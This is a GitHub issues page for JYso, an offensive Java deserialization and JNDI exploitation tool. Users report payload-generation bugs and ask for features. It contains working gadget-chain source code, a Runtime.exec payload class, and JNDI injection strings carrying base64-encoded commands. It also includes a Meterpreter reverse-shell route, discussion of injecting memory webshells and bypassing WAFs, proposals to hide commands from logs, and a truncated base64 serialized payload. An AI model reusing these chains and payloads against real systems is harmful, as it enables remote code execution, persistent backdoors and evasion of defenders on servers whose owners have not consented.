qi4l/jyso

It can be either a JNDIExploit or a ysoserial.

jyso's Issues

bug

% java -jar JYso-3.4.jar -yso 1 --rhino -g CommonsCollections5 -p EX-TomcatEcho -ch via -f 5.ser

Error while generating or serializing payload
javassist.NotFoundException: initClassBytes(..) is not found in org.apache.myfaces.myfaces.debug.TagAware
at javassist.CtClassType.getDeclaredMethod(CtClassType.java:1356)
at com.qi4l.jndi.gadgets.utils.handle.ClassMethodHandler.insertMethod(ClassMethodHandler.java:28)
at com.qi4l.jndi.gadgets.utils.Utils.encapsulationByClassLoaderTemplate(Utils.java:137)
at com.qi4l.jndi.gadgets.utils.cc.TransformerUtil.makeTransformer(TransformerUtil.java:68)
at com.qi4l.jndi.gadgets.CommonsCollections5.getObject(CommonsCollections5.java:53)
at com.qi4l.jndi.gadgets.CommonsCollections5.getObject(CommonsCollections5.java:42)
at com.qi4l.jndi.Starter.main(Starter.java:165)

cb链依赖问题

用1.3.0版本的生成的所有cb链用的都是1.8.3版本的，不会自动寻找它指定的版本。

打包问题

提示无
Could not find javax.media.jai:jai-core:1.1.3
Could not find com.oracle.weblogic:weblogic-server:1.0.
是否有解决方法

添加bsh2.0b1的链子

https://www.yuque.com/woshikiller/izq9t0/emv89c

有不少gadget会报错

3.5版本
jdk 1.8.0_281，linux

MozillaRhino2

[+] Received LDAP Query >> Deserialization/MozillaRhino2/command/Base64/cGluZyAtbiAyIDEuMS4xLjE=
[+] GaddgetType >> MozillaRhino2
[+] command：ping -n 2 1.1.1.1
[+]Send LDAP result forDeserialization/MozillaRhino2/command/Base64/cGluZyAtbiAyIDEuMS4xLjE= with javaSerializedData attribute
Error while generating or serializing payload
java.lang.NoSuchMethodException: com.qi4l.jndi.gadgets.MozillaRhino2.customWriteAdapterObject(java.lang.Object, java.io.ObjectOutputStream)
        at java.lang.Class.getMethod(Class.java:1786)
        at com.qi4l.jndi.gadgets.MozillaRhino2.getObject(MozillaRhino2.java:76)
        at com.qi4l.jndi.controllers.SerializedDataController.sendResult(SerializedDataController.java:56)
        at com.qi4l.jndi.LdapServer.processSearchResult(LdapServer.java:123)
        at com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptorRequestHandler.processSearchRequest(InMemoryOperationInterceptorRequestHandler.java:831)
        at com.unboundid.ldap.listener.StartTLSRequestHandler.processSearchRequest(StartTLSRequestHandler.java:309)
        at com.unboundid.ldap.listener.LDAPListenerClientConnection.run(LDAPListenerClientConnection.java:582)

JRE8u20_2

[+] Received LDAP Query >> Deserialization/JRE8u20_2/command/Base64/cGluZyAtbiAyIDEuMS4xLjE=
[+] GaddgetType >> JRE8u20_2
[+] command：ping -n 2 1.1.1.1
[+]Send LDAP result forDeserialization/JRE8u20_2/command/Base64/cGluZyAtbiAyIDEuMS4xLjE= with javaSerializedData attribute
Error while generating or serializing payload
javassist.CannotCompileException: by java.lang.ClassFormatError: loader (instance of  sun/misc/Launcher$AppClassLoader): attempted  duplicate class definition for name: "sun/reflect/annotation/AnnotationInvocationHandler"
        at javassist.util.proxy.DefineClassHelper.toClass(DefineClassHelper.java:271)
        at javassist.ClassPool.toClass(ClassPool.java:1240)
        at javassist.ClassPool.toClass(ClassPool.java:1098)
        at javassist.ClassPool.toClass(ClassPool.java:1056)
        at javassist.CtClass.toClass(CtClass.java:1298)
        at com.qi4l.jndi.gadgets.JRE8u20_2.newInvocationHandlerClass(JRE8u20_2.java:29)
        at com.qi4l.jndi.gadgets.JRE8u20_2.getObject(JRE8u20_2.java:43)
        at com.qi4l.jndi.controllers.SerializedDataController.sendResult(SerializedDataController.java:56)
        at com.qi4l.jndi.LdapServer.processSearchResult(LdapServer.java:123)
        at com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptorRequestHandler.processSearchRequest(InMemoryOperationInterceptorRequestHandler.java:831)
        at com.unboundid.ldap.listener.StartTLSRequestHandler.processSearchRequest(StartTLSRequestHandler.java:309)
        at com.unboundid.ldap.listener.LDAPListenerClientConnection.run(LDAPListenerClientConnection.java:582)
Caused by: java.lang.ClassFormatError: loader (instance of  sun/misc/Launcher$AppClassLoader): attempted  duplicate class definition for name: "sun/reflect/annotation/AnnotationInvocationHandler"
        at javassist.util.proxy.DefineClassHelper$Java7.defineClass(DefineClassHelper.java:182)
        at javassist.util.proxy.DefineClassHelper.toClass(DefineClassHelper.java:260)
        ... 11 more

CommonsBeanutilsPropertySource183

Error while generating or serializing payload
java.lang.RuntimeException: org.apache.commons.beanutils.BeanComparator class is frozen
        at javassist.CtClassType.checkModify(CtClassType.java:334)
        at javassist.CtClassType.removeField(CtClassType.java:1431)
        at com.qi4l.jndi.gadgets.CommonsBeanutilsPropertySource183.getObject(CommonsBeanutilsPropertySource183.java:44)
        at com.qi4l.jndi.controllers.SerializedDataController.sendResult(SerializedDataController.java:56)
        at com.qi4l.jndi.LdapServer.processSearchResult(LdapServer.java:123)
        at com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptorRequestHandler.processSearchRequest(InMemoryOperationInterceptorRequestHandler.java:831)
        at com.unboundid.ldap.listener.StartTLSRequestHandler.processSearchRequest(StartTLSRequestHandler.java:309)
        at com.unboundid.ldap.listener.LDAPListenerClientConnection.run(LDAPListenerClientConnection.java:582)

另外有些gadget没有包含在反序列化路由里面
CommonsCollectionsK7
CommonsCollections6Lite

gadget缺失

如图

师傅，这个链没了

在文档有 但帮助中找不到了

这个在su18原本的应该是有的

https://github.com/changheluor007/ysoserial-3/blob/master/src/main/java/org/su18/ysuserial/payloads/CommonsBeanutils4.java

另外发现在帮助文档中所有的名称都变一坨小写了，之前帮助的上是有大小写显示区别的
commonsbeanutilsobjecttostringcomparator183

能否添加UTF-8 Overlong Encoding绕waf的方法

可以参考
https://xz.aliyun.com/t/13932

大哥你好，使用反序列化链的时候报错了，请问怎么解决，感谢

wiki问题

意思是只有针对 ChainedTransformer的才能进行如下操作吗？ 不太对应。

师傅你好，我是java小白，对于这个工具的使用有一些疑问。

我完全搞不懂在开启JNDI服务器的时候该怎么利用，就是类似JNDIExploit（ldap://127.0.0.1:1389/TomcatBypass/TomcatEcho）里的TomcatBypass和TomcatEcho，在本工具中应该从哪找？
我在网上或微信公众号也找不到任何教程。

利用反序列化链的时候，ldap服务

低版本的CommonsBeanutils 解决办法自己修改代码。希望作者更新一下代码

          我测试了一下就是代码的问题修改一下代码就可以用了你这个代码不兼容低版本  我修改的这个项目的代码 https://github.com/957204459/ysoserial-1   直接成功执行。希望大佬可以考虑兼容低版本的 commons-beanutils  比如这个 。融合所有工具的特点再次感谢大佬回复

commons-beanutils commons-beanutils 1.6.1 package com.qi4l.jndi.gadgets;

import com.qi4l.jndi.enumtypes.PayloadType;
import com.qi4l.jndi.gadgets.annotation.Authors;
import com.qi4l.jndi.gadgets.annotation.Dependencies;
import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.GadgetsYso;
import com.qi4l.jndi.gadgets.utils.Reflections;
import org.apache.commons.beanutils.BeanComparator;

import java.util.PriorityQueue;
import java.math.BigInteger;

import static com.qi4l.jndi.Starter.JYsoMode;

@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
@authors({Authors.FROHOFF})
public class commonsbeanutils1 implements ObjectPayload {

public Object getObject(PayloadType type, String... param) throws Exception {
   // final Object template;
    /* if (JYsoMode.contains("yso")) {
        template = GadgetsYso.createTemplatesImpl(param[0]);
    } else {
        template = Gadgets.createTemplatesImpl(type, param);
    } */
	
	final Object template = GadgetsYso.createTemplatesImpl(param[0]);
   // final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

final BeanComparator comparator = new BeanComparator("lowestSetBit");
final PriorityQueue queue = new PriorityQueue(2, comparator);
/* queue.add("1");
queue.add("1"); */
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));

    Reflections.setFieldValue(comparator, "property", "outputProperties");
    Reflections.setFieldValue(queue, "queue", new Object[]{template, template});

    return queue;
}

}

Originally posted by @peiqiF4ck in #37 (comment)

再次感谢作者的付出,另外作者是否考虑使用maven这个。 gradle是在是比较麻烦。改了低版本的依赖他不会自行更改。。。。。同样的代码修改了一波使用maven可以 使用gradle不可以了。也可能是 commons-beanutils 代码改了 其他地方代码没有修改。总结我用这个 https://github.com/957204459/ysoserial-1 直接修改ommons-beanutils代码 和ommons-beanutils 版本号为 1.6.1 直接就行了。 但是大佬您这个gradle的这个修改了版本和代码的都不行 大佬有时间可否看看哪里有问题。感谢大佬

无法启动

C:\Penetration\ExpolitTools\Tools\JYso\JYso-1.2.9>java -jar JYso-1.2.9.jar
C:\Penetration\ExpolitTools\Tools\JYso\JYso-1.2.9>java -jar JYso-1.2.9.jar -h
C:\Penetration\ExpolitTools\Tools\JYso\JYso-1.2.9>java -jar JYso-1.2.9.jar --jndi
C:\Penetration\ExpolitTools\Tools\JYso\JYso-1.2.9>java -jar JYso-1.2.9.jar --jndi -h

最新1.2.9版本运行没有任何输出

base64编码问号会变成/，导致路由识别错误

如果我的命令是有?号的话，Base64以后是xxxx/yyy这种格式，导致jndi识别请求路由数据为yyy, 获取不到正常的base64字段，

内存马问题

cmd和bx马可以使用但是gsl马为何连不上是否为配置错误 使用为/TomcatBypass/M-EX-MS-TSMSFromJMXS-gzraw,加密器两个都试过

yso的LF-功能加载类文件失败

命令：
java -jar JYso-3.5.5.jar -yso 1 -g CommonsCollections10 -p '/Users/test/Desktop/Calc.class' -f calc.ser
然后对calc.ser进行base64，无法成功弹计算器，不报异常

使用
java -jar ysoserial-for-woodpecker-0.5.2.jar -g CommonsCollections10 -a "class_file:/Users/test/Desktop/Calc.class"
可以成功弹计算器。

环境：macos
jdk: 1.8.0_191
calc:
`package org.ppp.tools.ser;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.util.Scanner;

public class Calc extends AbstractTranslet {
static {
try{
Runtime.getRuntime().exec("open -a Calculator.app");
}catch (Exception e){

    }
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

}
`

存在大量报错 NPE

启动命令行：java -jar JYso-3.1.jar --jndi -i xxxx

测试代码：${jndi:ldap://1.1.1.1:1389/Deserialization/Spring1/command/Base64/{{base64(ping -c 3 1.1.1.1)}}}

报错信息：

[+] Received LDAP Query >> Deserialization/Spring1/command/Base64/cGluZyAtYyAzIDEuMS4xLjE=
[+] GaddgetType >> Spring1
[+] command：ping -c 3 1.1.1.1
[+]Send LDAP result forDeserialization/Spring1/command/Base64/cGluZyAtYyAzIDEuMS4xLjE= with javaSerializedData attribute
Error while generating or serializing payload
java.lang.NullPointerException
        at com.qi4l.jndi.gadgets.Spring1.getObject(Spring1.java:54)
        at com.qi4l.jndi.controllers.SerializedDataController.sendResult(SerializedDataController.java:54)
        at com.qi4l.jndi.LdapServer.processSearchResult(LdapServer.java:123)
        at com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptorRequestHandler.processSearchRequest(InMemoryOperationInterceptorRequestHandler.java:831)
        at com.unboundid.ldap.listener.StartTLSRequestHandler.processSearchRequest(StartTLSRequestHandler.java:309)
        at com.unboundid.ldap.listener.LDAPListenerClientConnection.run(LDAPListenerClientConnection.java:582)


[+] Received LDAP Query >> Deserialization/Spring1/command/Base64/cGluZyAtYyAzIDEuMS4xLjE=
[+] GaddgetType >> Spring1
[+] command：ping -c 3 1.1.1.1
[+]Send LDAP result forDeserialization/Spring1/command/Base64/cGluZyAtYyAzIDEuMS4xLjE= with javaSerializedData attribute
Error while generating or serializing payload
java.lang.NullPointerException
        at com.qi4l.jndi.gadgets.Spring1.getObject(Spring1.java:54)
        at com.qi4l.jndi.controllers.SerializedDataController.sendResult(SerializedDataController.java:54)
        at com.qi4l.jndi.LdapServer.processSearchResult(LdapServer.java:123)
        at com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptorRequestHandler.processSearchRequest(InMemoryOperationInterceptorRequestHandler.java:831)
        at com.unboundid.ldap.listener.StartTLSRequestHandler.processSearchRequest(StartTLSRequestHandler.java:309)
        at com.unboundid.ldap.listener.LDAPListenerClientConnection.run(LDAPListenerClientConnection.java:582)

不仅仅是Spring1，像是ROME2，Jdk7u21variant、JRE8u20_2、JBossInterceptors1等等都会出现

另外MozillaRhino2等gadget会报错 java.lang.NoSuchMethodException

这些gadget估计都得测一下了

msf使用报错

支持tomcatBypass路由直接上线msf：
使用msf的java/meterpreter/reverse_tcp开启监听
ldap://127.0.0.1:1389/TomcatBypass/Meterpreter/[msfip]/[msfport]

请问按照这个格式打的，为什么会提示报错呢？

latest 1.2.9 Error while generating or serializing payload

➜  JYso java -version                                                                         
openjdk version "11.0.22" 2024-01-16

➜  JYso java -jar JYso-1.2.9.jar -y -g CommonsBeanutils5 -p 'EX-TomcatEcho' -ch 'cmd' -utf|hex
Error while generating or serializing payload
java.lang.NullPointerException
        at java.base/java.lang.String.<init>(String.java:614)
        at com.qi4l.jndi.gadgets.utils.Utils.base64Decode(Utils.java:63)
        at com.qi4l.jndi.gadgets.utils.handle.ClassMethodHandler.insertCMD(ClassMethodHandler.java:220)
        at com.qi4l.jndi.gadgets.utils.handle.ClassMethodHandler.insertKeyMethodByClassName(ClassMethodHandler.java:40)
        at com.qi4l.jndi.gadgets.utils.handle.GlassHandler.generateClass(GlassHandler.java:105)
        at com.qi4l.jndi.gadgets.utils.handle.GlassHandler.generateClass(GlassHandler.java:64)
        at com.qi4l.jndi.gadgets.utils.Gadgets.createTemplatesImpl(Gadgets.java:96)
        at com.qi4l.jndi.gadgets.CommonsBeanutils5.getObject(CommonsBeanutils5.java:22)
        at com.qi4l.jndi.controllers.ysoserial.ysoserial(ysoserial.java:134)
        at com.qi4l.jndi.Starter.main(Starter.java:29)

师傅，整一个weblogic的，weblogic真的难，没一个版本重复的

tag版本问题

1.2.x 和 3.x 是一个 版本吗

关于url路由部分的疑问

师傅，有些特殊的链构造出来路由是\而不是/，比如su18 ysoserial这个payload

https://github.com/5l1v3r1/ysoserial-1/blob/4888f68782953c98de09f81f44f563d9c0cc1376/src/main/java/org/su18/ysuserial/payloads/CommonsBeanutils4.java#L12

按照su18说的，在LdapServer#processSearchResult加一行 base = base.replace('\\','/');，这块是否可兼容加上，或者有其他的解决方法？

---

我有个想法

支持把路由路径加密

比如用aes加密算法将 ldap://0.0.0.0:1389/Deserialization/C3P04/qi4l/Base64/xxxxxxxx加密为ldap://0.0.0.0:1389/YUAs7rWm/Al9Cw0LG9jzJxMXyu5WjeBuyxxxxxxxx

在LdapServer等入口处，尝试解密，解密不了的话继续按默认逻辑走

这样可以在一定程度上避免从日志中泄露出原始命令，也减少了特征

支持路径路径缩短映射

在HTTPServer中提供一个接口给外部脚本调用，加个map变量存一下映射关系，用来做路由地址映射转换，类似于url缩短服务，变成一个短链接

比如可以把非常长的 ldap://0.0.0.0:1389/Deserialization/CommonsCollections1/qi4l/Base64/{{base64(BC-$BCEL$xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx)} 缩短为 ldap://0.0.0.0:1389/a

---

jndi:ldap://0.0.0.0:1389/Deserialization/C3P04/qi4l/Base64/xxxxxxxx

现在默认场景下的url带有比较特殊的qi4l，有这个的话感觉会不会后续变成一个溯源特征

Error while generating or serializing payload

jndi tomcatbypass模式下所有的内存马注入提示
Error while generating or serializing payload
比如：cmsMSBYNC、proxyMSBYNC等...

UTF-8 Overlong Encoding 生成URLDNS链出错了

感谢大佬的bypass姿势，但是执行时出现了一些问题。
错误信息:

大佬使用idea 编译报错提示找不到包

Could not find javax.media.jai:jai-core:1.1.3
Could not find com.oracle.weblogic:weblogic-server:1.0
尤其是weblogic-server 1.0的包这我搜索了一下根本没有。这个怎么解决啊大佬。还是说包名不是1.0是别的版本希望大佬指点

问题反馈

用的jdk是8_341，使用DNSLOG探测发现报错了，看了下代码，貌似是调用了GadgetType去判断Deserialization后面的参数，一些序列化链的逻辑没法走到

FastJson链可以更新下吗

参考链接
https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/
https://github.com/Y4er/ysoserial/blob/main/src/main/java/ysoserial/payloads/Fastjson1.java

help问题

为何-h 输出不了详细

有些payload发送之后会导致服务端jndi进程强制退出

师傅我用的是3.2最新版，测了一下

1. 发送JRE8u20请求后进程强制退出了
   测试代码：

${jndi:ldap://1.1.1.1:1389/Deserialization/**JRE8u20**/command/Base64/{{base64(ping -c 3  1.1.1.1)}}}

对于JRE8u20_2还是存在NPE异常的情况（详情https://github.com/qi4L/JYso/issues/10）

3. 对于Jackson，会出现报错，原因不明

Error while generating or serializing payload
javassist.NotFoundException: writeReplace(..) is not found in com.fasterxml.jackson.databind.node.BaseJsonNode
        at javassist.CtClassType.getDeclaredMethod(CtClassType.java:1356)
        at com.qi4l.jndi.gadgets.Jackson.getObject(Jackson.java:35)
        at com.qi4l.jndi.controllers.SerializedDataController.sendResult(SerializedDataController.java:54)
        at com.qi4l.jndi.LdapServer.processSearchResult(LdapServer.java:123)
        at com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptorRequestHandler.processSearchRequest(InMemoryOperationInterceptorRequestHandler.java:831)
        at com.unboundid.ldap.listener.StartTLSRequestHandler.processSearchRequest(StartTLSRequestHandler.java:309)
        at com.unboundid.ldap.listener.LDAPListenerClientConnection.run(LDAPListenerClientConnection.java:582)

又来提bug了

com.qi4l.jndi.gadgets.Config.Config.java

public static String HEADER_KEY = "https://QI4L.cn/";
public static String HEADER_VALUE = "https://QI4L.cn/";

hk和hv都是你的域名，打入内存马的时候构造https://QI4L.cn/: https://QI4L.cn/是打不进的

修改为
// Referer 校验
public static String HEADER_KEY = "Referer";

可以的话能给个好友位不，还有其他bug直接找你聊了

带有空格的命令被截断

jdk7+tomcat7环境下字节码无法执行

jdk7+tomcat7环境下字节码无法执行，应该是服务器jdk版本太低，有什么解决方法吗

大佬我在咨询一下 使用 CommonsBeanutils-1.6.1 编译出来执行直接报错 java -jar JYso-1.2.8-all.jar -y -g CommonsBeanutils1 -p "EX-TomcatEcho"

          大佬我在咨询一下 使用 CommonsBeanutils-1.6.1 编译出来执行直接报错  java -jar JYso-1.2.8-all.jar -y -g  CommonsBeanutils1  -p "EX-TomcatEcho"

██╗ ██╗███████╗ ██████╗
╚██╗ ██╔╝██╔════╝██╔═══██╗
╚████╔╝ ███████╗██║ ██║
╚██╔╝ ╚════██║██║ ██║
██║ ███████║╚██████╔╝
╚═╝ ╚══════╝ ╚═════╝

Error while generating or serializing payload
java.lang.ClassCastException: java.lang.IllegalArgumentException: No name specified
at org.apache.commons.beanutils.BeanComparator.compare(BeanComparator.java:145)
at java.util.PriorityQueue.siftUpUsingComparator(Unknown Source)
at java.util.PriorityQueue.siftUp(Unknown Source)
at java.util.PriorityQueue.offer(Unknown Source)
at java.util.PriorityQueue.add(Unknown Source)
at com.qi4l.jndi.gadgets.CommonsBeanutils1.getObject(CommonsBeanutils1.java:22)
at com.qi4l.jndi.controllers.ysoserial.ysoserial(ysoserial.java:134)
at com.qi4l.jndi.Starter.main(Starter.java:29)

大佬 使用 CommonsBeanutils-1.8.3 可以编译也可以执行 java -jar JYso-1.2.8-all.jar -y -g CommonsBeanutils1 -p "EX-TomcatEcho"
██╗ ██╗███████╗ ██████╗
╚██╗ ██╔╝██╔════╝██╔═══██╗
╚████╔╝ ███████╗██║ ██║
╚██╔╝ ╚════██║██║ ██║
██║ ███████║╚██████╔╝
╚═╝ ╚══════╝ ╚═════╝

 �sr �java.util.PriorityQueue斱0贷?偙� �I �sizeL
comparatort �Ljava/util/Comparator;xp �sr +org.apache.commons.beanutils.BeanComparator

但是同样使用 https://github.com/957204459/ysoserial-1

使用 CommonsBeanutils-1.6.1 没有报错并且可以执行成功 java -jar ysuserial-1.5-su18-all.jar -g CommonsBeanutils1 -p "EX-TomcatEcho"

这是什么情况大佬。另外如何生成payload的时候不输出yso这个logo我本地但是可以直接注销。现在的问题是用同样的jar包编译出来的东西一个可以执行一个执行不了。我不知道是不是gradle的问题。我直接把 CommonsBeanutils-1.6.1 放到lib文件夹里面了。大佬如何在gradle里面强制让他使用CommonsBeanutil 1.6.1 并且自动加载所需要的依赖。接触gradle不多。maven直接配置就行了。gradle我配置了
commons-beanutils-commons-beanutils = "1.6.1" 他默认还是 1.8.3的jar包。。。。。我得把 1.6.1的jar放到lib目录他才用我的。并且配置这以后gradle不会下载1.6.1的包只会下载1.8.3的包。。。。。我手工将1.6.1的包放到gradle里面编译是没问题就是执行报错了。。
另外编译用三个包就行了 :
jai_core-1.1.3.jar
weblogic-server.jar
wlthint3client.jar

fastjson 链templates逻辑存在问题

作者您好，在您的项目中我注意到您先javassist构造了一个执行getRuntime.exec()的恶意类，后来又createTemplatesImpl获取一个对象后setValue降恶意类换成了javassist构造的那个，导致不管用什么命令他都是在调用getRuntime执行命令，无法打入内存马。
这样可以解决这个问题：
final Object templates;
if (JYsoMode.contains("yso")) {
templates = GadgetsYso.createTemplatesImpl(param[0]);
} else {
templates = Gadgets.createTemplatesImpl(type, param);
}

    JSONArray jsonArray = new JSONArray();
    jsonArray.add(templates);

    BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
    setValue(bd,"val",jsonArray);

    HashMap<Object, Object> hashMap = new HashMap<>();
    hashMap.put(templates,bd);

    return hashMap;

本地yso无法生成文件

java -jar JYso-3.4.jar -hk "aaa" -hv "bbb" -u "/*" -g CommonsCollections6 -p EX-MS-TSMSFromThread-suo5 -f cc6-suo5.bin

没有生成文件

使用其他链的执行命令的时候出错

[+] Received LDAP Query : Deserialization/LiNUX/command/Base64/Y3VybCAw
[+] GaddgetType : LiNUX
[+] command：curl xxx
[+] Send LDAP result forDeserialization/LiNUX/command/Base64/Y3VybC with javaSerializedData attribute
LmNu with javaSerializedData attribute
-------------------------------------- JNDI Remote Refenrence Links --------------------------------------
Error while generating or serializing payload
java.lang.NullPointerException
at com.qi4l.jndi.controllers.SerializedDataController.sendResult(SerializedDataController.java:42)
at com.qi4l.jndi.LdapServer.processSearchResult(LdapServer.java:122)
at com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptorRequestHandler.processSearchRequest(InMemoryOperationInterceptorRequestHandler.java:831)
at com.unboundid.ldap.listener.StartTLSRequestHandler.processSearchRequest(StartTLSRequestHandler.java:309)
at com.unboundid.ldap.listener.LDAPListenerClientConnection.run(LDAPListenerClientConnection.java:582)
是我使用错误了吗

实验不成功

哥们，你这个readme里面密码不对啊 ，多次实验不成功，能不能写的清楚一点啊 ，谢谢啊

大佬，我还有一个疑问

就是使用BCEL时候，是只能使用CommonsCollections1链吗，还是所有的链都支持

优化 help输出

RT
希望作者能够优化一下，例如这样

2个小问题

师傅你好 在某些jndi场景中 只能 jndi://1.1.1.1/connect

connect 不可控 那么这个时候就需要让 connect 为某个链

第二个场景就是

jndi必须要使用账号密码认证

请问这两个功能是否可以增加 🙏

编译错误

编译错误，这几个包是缺失的吗

Could not determine the dependencies of task ':shadowJar'.
> Could not resolve all dependencies for configuration ':runtimeClasspath'.
   > Could not find javax.media.jai:jai-core:1.1.3.
     Searched in the following locations:
       - file:/home/xxx/.m2/repository/javax/media/jai/jai-core/1.1.3/jai-core-1.1.3.pom
       - https://repo.jenkins-ci.org/releases/javax/media/jai/jai-core/1.1.3/jai-core-1.1.3.pom
       - https://repo.maven.apache.org/maven2/javax/media/jai/jai-core/1.1.3/jai-core-1.1.3.pom
     Required by:
         project :
   > Could not find com.oracle.weblogic:weblogic-server:1.0.
     Searched in the following locations:
       - file:/home/xxx/.m2/repository/com/oracle/weblogic/weblogic-server/1.0/weblogic-server-1.0.pom
       - https://repo.jenkins-ci.org/releases/com/oracle/weblogic/weblogic-server/1.0/weblogic-server-1.0.pom
       - https://repo.maven.apache.org/maven2/com/oracle/weblogic/weblogic-server/1.0/weblogic-server-1.0.pom
     Required by:
         project :

使用反序列化加载自定义类无法成功注入

1、使用woodpecker 加载自定义内存马类

2、使用JYSO

进行base64

3、反序列化测试

失败

woodpecker测试，连接成功

博主可自行对比两个工具生成的payload，并进行反序列化调试
JYso：
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAAEbnUxcnNyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5GYWN0b3J5VHJhbnNmb3JtZXKhYsEpXbfzuAIAAUwACGlGYWN0b3J5dAAoTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9GYWN0b3J5O3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5JbnN0YW50aWF0ZUZhY3RvcnmUsZyeZyEE6wIAA1sABWlBcmdzdAATW0xqYXZhL2xhbmcvT2JqZWN0O0wAE2lDbGFzc1RvSW5zdGFudGlhdGV0ABFMamF2YS9sYW5nL0NsYXNzO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAABc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3NxAH4AEEwABV9uYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAAAAAAAHVyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF/gGCFTgAgAAeHAAADpiyv66vgAAADEAnwoACwBTCABUCgAJAFUIAFYKAAkAVwoAWABZCgALAFoIAFsHAFwHAF0HAF4HADwHAF8IAGAKAAkAYQgAYgcAYwcAZAkAJwBlCgAnAGYKABIAZwoAEQBoBwBpCgAXAFMKABEAagoAFwBrCgAXAGwHAG0HAG4KAG8AcAoAbwBxCgAcAHIKAAkAcwgATAkAdAB1CgAJAHYKAFgAdwoAdAB4BwCZAQADYjY0AQASTGphdmEvbGFuZy9TdHJpbmc7AQAJY2xhc3NOYW1lAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACxMY29tL3FpNGwvam5kaS90ZW1wbGF0ZS9DbGFzc0xvYWRlclRlbXBsYXRlOwEADGJhc2U2NERlY29kZQEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkZWNvZGVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQAGYmFzZTY0AQARTGphdmEvbGFuZy9DbGFzczsBAAdpZ25vcmVkAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQACYnMBAAV2YWx1ZQEAAltCAQANU3RhY2tNYXBUYWJsZQcAXQcAXwEACkV4Y2VwdGlvbnMBAA5pbml0Q2xhc3NCeXRlcwEACDxjbGluaXQ+AQAPZ3ppcElucHV0U3RyZWFtAQAfTGphdmEvdXRpbC96aXAvR1pJUElucHV0U3RyZWFtOwEAFWJ5dGVBcnJheU91dHB1dFN0cmVhbQEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAARyZWFkAQABSQEABWJ5dGVzAQALY2xhc3NMb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAC2RlZmluZUNsYXNzAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAZpbnZva2UHAGMHAGkBAApTb3VyY2VGaWxlAQAYQ2xhc3NMb2FkZXJUZW1wbGF0ZS5qYXZhDAArACwBABBqYXZhLnV0aWwuQmFzZTY0DAB6AHsBAApnZXREZWNvZGVyDAB8AH0HAH4MAE4AfwwAgACBAQAGZGVjb2RlAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL1N0cmluZwEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgwAggCDAQAMZGVjb2RlQnVmZmVyAQAdamF2YS91dGlsL3ppcC9HWklQSW5wdXRTdHJlYW0BABxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtDAAo